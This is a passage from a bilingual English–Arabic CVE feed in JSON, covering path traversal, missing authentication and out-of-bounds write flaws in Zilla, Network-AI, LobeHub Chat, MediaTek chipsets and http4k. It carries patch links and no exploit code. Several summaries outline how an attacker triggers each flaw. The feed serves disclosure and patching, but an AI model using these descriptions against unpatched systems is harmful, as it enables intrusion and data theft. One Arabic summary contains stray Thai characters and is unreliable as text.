component.","ar":"تم تحديد نقطة ضعف في Aklivity Zilla حتى الإصدارات 1.3.4 و2.4.7 و2.5.0-rc2. العنصر المتأثر هو دالة Path.resolve في ملف FileSystemServerFactory التابع لمكون http-filesystem Binding. يؤدي التلاعب بالوسيط params إلى اجتاز المسار. يُعد الاستغلال عن بُعد متاحاً. وقد تم إتاحة استغلال للعموم ويمكنใชّ في الهجمات. الترقية إلى الإصدار 2.5.0-rc3 كافية لإصلاح هذه المشكلة. اسم التصحيح: 46a8b15cbea157f7ae8b7cb865809a02fd6b1988. يجب عليك ترقية المكون المتأثر."},"refs":[["https://github.com/aklivity/zilla/commit/46a8b15cbea157f7ae8b7cb865809a02fd6b1988","patch"],["https://github.com/aklivity/zilla/pull/2623","patch"],["https://github.com/aklivity/zilla/releases/tag/2.5.0-rc3","patch"],["https://vuldb.com/cve/CVE-2026-120324","advisory"],["https://vuldb.com/submit/1015032","advisory"],["https://github.com/0xGenesi/CVE/blob/main/Zilla_Http_Filesystem_Binding_Path_Traversal.md","ref"],["https://github.com/aklivity/zilla/","ref"],["https://vuldb.com/vuln/429656","ref"],["https://vuldb.com/vuln/429656/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aklivity-zilla"},{"id":"CVE-2026-120313","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:29Z","product":"Jovancoding Network-AI","affected":[["0 – <5.15.5","5.15.5"]],"title":{"en":"Network-AI before 5.15.5 Path Traversal via InputSanitizer.sanitizePath","ar":"Network-AI قبل الإصدار 5.15.5 ثغرة اجتياز المسار عبر InputSanitizer.sanitizePath"},"summary":{"en":"Network-AI before 5.15.5 contains a path traversal vulnerability in InputSanitizer.sanitizePath() that allows attackers to escape the base directory using sibling-directory paths. Attackers can supply paths whose directory name shares a string prefix with the base, bypassing the unanchored startsWith check to read, list, or write files outside the sandbox.","ar":"يحتوي Network-AI قبل الإصدار 5.15.5 على ثغرة اجتياز المسار في InputSanitizer.sanitizePath() والتي تسمح للمهاجمين بالهروب من الدليل الأساسي باستخدام مسارات الأدلة الشقيقة. يمكن للمهاجمين توفير مسارات تتشارك أسماء أدلتها في بادئة نصية مع الدليل الأساسي، مما يتجاوز فحص startsWith غير المثبت لقراءة أو سرد أو كتابة ملفات خارج بيئة الحماية."},"refs":[["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-5mm5-4mh4-6gm6","advisory"],["https://www.vulncheck.com/advisories/network-ai-before-5.15.5-path-traversal-via-inputsanitizer-sanitizepath","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jovancoding-network-ai"},{"id":"CVE-2026-120314","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:29Z","product":"Jovancoding Network-AI","affected":[["5.14.0 – <5.15.5","5.15.5"]],"title":{"en":"Network-AI 5.14.0 before 5.15.5 Missing Authentication in A2AServer Task Operations","ar":"Network-AI من الإصدار 5.14.0 قبل 5.15.5 غياب المصادقة في عمليات مهام A2AServer"},"summary":{"en":"Network-AI from 5.14.0 before 5.15.5 contains a missing authentication vulnerability in the A2AServer class that allows unauthenticated attackers to access task operations when no secret is configured. Attackers can send JSON-RPC requests to tasks/send, tasks/get, and tasks/cancel without a Bearer token to execute tasks, read results, and cancel tasks.","ar":"يحتوي Network-AI من الإصدار 5.14.0 قبل 5.15.5 على ثغرة غياب المصادقة في فئة A2AServer والتي تسمح للمهاجمين دون مصادقة بالوصول إلى عمليات المهام عندما لا يتم تكوين أي سر. يمكن للمهاجمين إرسال طلبات JSON-RPC إلى tasks/send و tasks/get و tasks/cancel دون رمز Bearer لتنفيذ المهام وقراءتها وإلغائها."},"refs":[["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qvf5-9prv-7r9c","advisory"],["https://www.vulncheck.com/advisories/network-ai-5.14.0-before-5.15.5-missing-authentication-in-a2aserver-task-operations","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jovancoding-network-ai"},{"id":"CVE-2026-120315","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:29Z","product":"lobehub chat","affected":[["1.84.26 – <2.1.49","2.1.49"]],"title":{"en":"LobeHub Chat 1.84.26 before 2.1.49 Path Traversal RCE via writeTempFile","ar":"LobeHub Chat الإصدار 1.84.26 قبل 2.1.49 اجتياز المسار لتنفيذ أوامر عن بُعد عبر writeTempFile"},"summary":{"en":"LobeHub Chat from 1.84.26 before 2.1.49 contains a path traversal vulnerability that allows authenticated users to write arbitrary files by supplying unsanitized file names to writeTempFile(). Attackers can create a file record via file.createFile with a traversal name, then trigger document parsing to overwrite application files like startServer.js for code execution or denial of service.","ar":"يحتوي LobeHub Chat من الإصدار 1.84.26 قبل 2.1.49 على ثغرة اجتياز المسار التي تسمح للمستخدمين الذين يملكون حسابًا مصادقًا عليه بكتابة ملفات عشوائية من خلال توفير أسماء ملفات غير معقمة إلى writeTempFile(). يمكن للمهاجمين إنشاء سجل ملف عبر file.createFile باستخدام اسم اجتياز، ثم تشغيل تحليل المستندات للكتابة فوق ملفات التطبيق مثل startServer.js لتنفيذ الشيفرات أو حجب الخدمة."},"refs":[["https://github.com/lobehub/lobehub/security/advisories/GHSA-2g9j-v25c-4j97","advisory"],["https://www.vulncheck.com/advisories/lobehub-chat-1.84.26-before-2.1.49-path-traversal-rce-via-writetempfile","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"lobehub-chat"},{"id":"CVE-2026-120311","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-23","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:28Z","product":"Jovancoding Network-AI","affected":[["5.13.4 – <5.15.5","5.15.5"]],"title":{"en":"Network-AI 5.13.4 before 5.15.5 Path Traversal via FileJobStore Job ID","ar":"Network-AI من الإصدار 5.13.4 قبل 5.15.5 اجتياز المسار عبر معرف الوظيفة FileJobStore Job ID"},"summary":{"en":"Network-AI from 5.13.4 before 5.15.5 contains a path traversal vulnerability in FileJobStore that allows attackers to read or delete arbitrary .json files by supplying traversal sequences in the job id. Attackers controlling the id passed to FileJobStore.get(), FileJobStore.delete(), or JobQueue.getJob() can disclose credentials and grant tokens or delete configuration files to weaken AuthGuardian authorization.","ar":"يحتوي Network-AI من الإصدار 5.13.4 قبل 5.15.5 على ثغرة اجتياز المسار في FileJobStore والتي تسمح للمهاجمين بقراءة أو حذف ملفات .json عشوائية من خلال توفير تسلسلات اجتياز في معرف الوظيفة. يمكن للمهاجمين الذين يتحكمون في المعرف المُمرر إلى FileJobStore.get() أو FileJobStore.delete() أو JobQueue.getJob() كشف بيانات الاعتماد ورموز المنح أو حذف ملفات التكوين لإضعاف تفويض AuthGuardian."},"refs":[["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-v64j-mc7x-c7x7","advisory"],["https://www.vulncheck.com/advisories/network-ai-5.13.4-before-5.15.5-path-traversal-via-filejobstore-job-id","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jovancoding-network-ai"},{"id":"CVE-2026-120312","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-23","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T03:17:28Z","product":"Jovancoding Network-AI","affected":[["5.13.4 – <5.15.5","5.15.5"]],"title":{"en":"Network-AI 5.13.4 before 5.15.5 Path Traversal via AgentVCR Cassette Name","ar":"Network-AI من الإصدار 5.13.4 قبل 5.15.5 اجتياز المسار عبر اسم شريط الكاسيت AgentVCR Cassette Name"},"summary":{"en":"Network-AI from 5.13.4 before 5.15.5 contains a path traversal vulnerability in AgentVCR that allows attackers controlling the cassette name to read or write arbitrary .json files. Attackers can pass traversal sequences to load() or save() to disclose sensitive JSON data or overwrite policy files such as AuthGuardian trust-level configuration.","ar":"يحتوي Network-AI من الإصدار 5.13.4 قبل 5.15.5 على ثغرة اجتياز المسار في AgentVCR والتي تسمح للمهاجمين الذين يتحكمون في اسم شريط الكاسيت بقراءة أو كتابة ملفات .json عشوائية. يمكن للمهاجمين تمرير تسلسلات الاجتياز إلى load() أو save() للكشف عن بيانات JSON الحساسة أو الكتابة فوق ملفات السياسة مثل تكوين مستوى الثقة في AuthGuardian."},"refs":[["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mfxv-jg44-xj48","advisory"],["https://www.vulncheck.com/advisories/network-ai-5.13.4-before-5.15.5-path-traversal-via-agentvcr-cassette-name","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jovancoding-network-ai"},{"id":"CVE-2026-20591","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:34:06Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT6993",null],["MT8910",null]],"title":{"en":"In GPU pdma, there is a possible escalation of privilege due to a missing permission check.","ar":"في وحدة GPU pdma، يوجد احتمال لتصعيد الصلاحيات بسبب غياب التحقق من الأذونات."},"summary":{"en":"In GPU pdma, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11365075; Issue ID: MSV-9546.","ar":"في وحدة GPU pdma، يوجد احتمال لتصعيد الصلاحيات بسبب غياب التحقق من الأذونات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرّف التصحيح: ALPS11365075؛ معرّف المشكلة: MSV-9546."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20565","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:32Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to an incorrect bounds check.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب التحقق غير الصحيح من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01778991; Issue ID: MSV-8900.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب التحقق غير الصحيح من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال. معرف التصحيح: MOLY01778991؛ معرف المشكلة: MSV-8900."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20559","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:21Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT6993",null],["MT8910",null]],"title":{"en":"In GPU pdma, there is a possible memory corruption due to use after free.","ar":"في GPU pdma، يوجد احتمال تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها."},"summary":{"en":"In GPU pdma, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11365081; Issue ID: MSV-9545.","ar":"في GPU pdma، يوجد احتمال تلف في الذاكرة بسبب استخدام الذاكرة بعد تحريرها. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا مع الحاجة إلى صلاحيات تنفيذ للمستخدم. لا يلزم تفاعل المستخدم للاستغلال. معرف التصحيح: ALPS11365081؛ معرف المشكلة: MSV-9545."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20557","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:18Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT6813",null],["MT6815",null],["MT6835",null],["MT6858",null],["MT6878",null],["MT6881",null],["MT6897",null],["MT6899",null],["MT6982",null],["MT6986",null],["MT6988",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"يوجد احتمال كتابة خارج الحدود في Modem بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01877236; Issue ID: MSV-9804.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت وحدة طرفية (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب للاستغلال. معرف التصحيح: MOLY01877236؛ معرف الإصدار: MSV-9804."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20556","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:16Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6813",null],["MT6815",null],["MT6833",null],["MT6835",null],["MT6853",null],["MT6855",null],["MT6858",null],["MT6873",null],["MT6875",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"يوجد احتمال كتابة خارج الحدود في Modem بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01876662; Issue ID: MSV-9833.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت وحدة طرفية (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب للاستغلال. معرف التصحيح: MOLY01876662؛ معرف الإصدار: MSV-9833."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20554","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:14Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible system crash due to a missing bounds check.","ar":"يوجد احتمال تعطل النظام في Modem بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: MOLY01911177; Issue ID: MSV-10122.","ar":"في Modem، يوجد احتمال تعطل النظام بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت وحدة طرفية (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم مطلوب للاستغلال. معرف التصحيح: MOLY01911177؛ معرف الإصدار: MSV-10122."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20549","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:06Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to improper input validation.","ar":"يوجد احتمال كتابة خارج الحدود في Modem بسبب التحقق غير السليم من المدخلات."},"summary":{"en":"In Modem, there is a possible out of bounds write due to improper input validation. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01775865; Issue ID: MSV-8895.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب التحقق غير السليم من المدخلات. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت وحدة طرفية (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب للاستغلال. معرف التصحيح: MOLY01775865؛ معرف الإصدار: MSV-8895."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20548","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:05Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to an integer overflow.","ar":"يوجد احتمال كتابة خارج الحدود في Modem بسبب فيضان الأعداد الصحيحة."},"summary":{"en":"In Modem, there is a possible out of bounds write due to an integer overflow. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01872867 / MOLY01774038; Issue ID: MSV-9801.","ar":"في Modem، يوجد احتمال كتابة خارج الحدود بسبب فيضان الأعداد الصحيحة. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، إذا اتصلت وحدة طرفية (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. تفاعل المستخدم غير مطلوب للاستغلال. معرف التصحيح: MOLY01872867 / MOLY01774038؛ معرف الإصدار: MSV-9801."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20547","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:04Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01874018 / MOLY01774038; Issue ID: MSV-9802.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، في حال اتصلت معدات الطرف المستخدم (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرف التصحيح: MOLY01874018 / MOLY01774038؛ معرف المشكلة: MSV-9802."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20546","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:02Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to an incorrect bounds check.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب تحقق غير صحيح من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01876654 / MOLY01774038; Issue ID: MSV-9803.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب تحقق غير صحيح من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، في حال اتصلت معدات الطرف المستخدم (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرف التصحيح: MOLY01876654 / MOLY01774038؛ معرف المشكلة: MSV-9803."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20545","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:33:01Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01879158 / MOLY01774038; Issue ID: MSV-9811.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، في حال اتصلت معدات الطرف المستخدم (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرف التصحيح: MOLY01879158 / MOLY01774038؛ معرف المشكلة: MSV-9811."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-20499","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T02:32:59Z","product":"MediaTek, Inc. MediaTek chipset","affected":[["MT2716",null],["MT2735",null],["MT2737",null],["MT6739",null],["MT6761",null],["MT6762",null],["MT6763",null],["MT6765",null],["MT6767",null],["MT6768",null],["MT6769",null],["MT6771",null]],"title":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود."},"summary":{"en":"In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01857954; Issue ID: MSV-8247.","ar":"في Modem، يوجد احتمال كتابة خارج حدود الذاكرة بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد، في حال اتصلت معدات الطرف المستخدم (UE) محطة أساسية خبيثة يتحكم بها المهاجم، دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم. معرف التصحيح: MOLY01857954؛ معرف المشكلة: MSV-8247."},"refs":[["https://www.mediatek.com/product-security-bulletin/November-2026","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mediatek-inc-mediatek-chipset"},{"id":"CVE-2026-120317","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T02:01:15Z","product":"http4k http4k","affected":[["4.9.10.0 – <6.60.0.0","6.60.0.0"]],"title":{"en":"http4k 4.9.10.0 before 6.60.0.0 Digest auth-int Missing Body Integrity","ar":"http4k 4.9.10.0 قبل الإصدار 6.60.0.0 ميزة Digest auth-int تعاني من نقص تكامل جسم الطلب"},"summary":{"en":"http4k from 4.9.10.0 before 6.60.0.0 contains a missing integrity check vulnerability because DigestEncoder computes the auth-int digest without hashing the request entity body. On-path attackers on non-TLS channels can rewrite the body of authenticated requests while keeping the Authorization header valid, executing state-changing actions as the victim.","ar":"يحتوي http4k من الإصدار 4.9.10.0 قبل الإصدار 6.60.0.0 على ثغرة غياب التحقق من التكامل نظراً لأن DigestEncoder يحسب ملخص auth-int دون تمرير جسم كيان الطلب عبر خوارزمية التجزئة. يمكن للمهاجمين المتواجدين على المسار ضمن قنوات غير مشفرة بتفويض TLS إعادة كتابة جسم الطلبات المصادق عليها مع إبقاء ترويسة Authorization صالحة، مما يتيح تنفيذ إجراءات تغير الحالة بصفتهم 